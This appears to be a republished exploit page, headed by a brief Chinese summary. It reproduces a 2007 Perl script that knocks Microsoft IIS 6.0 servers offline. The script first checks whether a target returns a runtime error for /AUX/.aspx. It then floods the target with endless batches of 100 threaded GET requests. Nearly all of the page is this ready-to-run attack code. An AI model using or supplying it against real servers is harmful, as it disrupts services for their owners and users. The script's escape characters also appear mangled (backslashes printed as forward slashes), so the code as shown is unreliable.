Microsoft IIS 6.0 (/AUX/.aspx) Remote Denial of Service Exploit

本文介绍了一种针对IIS6.0服务器的拒绝服务攻击方法，通过发送大量并行GET请求到服务器特定路径导致其不稳定及响应缓慢。此攻击仅对返回运行时错误且响应时间较长的服务器有效。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope kingcope@gmx.net
##########################################################################
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################

use IO::Socket;
use threads;

if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];

$|=1;

sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1/r/nHost: $host/r/nConnection:close/r/n/r/n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1/r/nHost: $host/r/nConnection:close/r/n/r/n";

$k=0;
while (<$sock>) {
	if (($_ =~ /Runtime/sError/) || ($_ =~ /HttpException/)) {
			$k=1;
			last;
	}
}

if ($k==0) {
	print "Server does not seem vulnerable to this attack./n";
	exit;	
}

print "ATTACK!/n";

while(1){

for (my $i=0;$i<=100;$i++) {
	$thr = threads->new(/&sendit);
	print "/r/r/r$i/100                        ";
}

foreach $thr (threads->list) {
	$thr->join;
}
}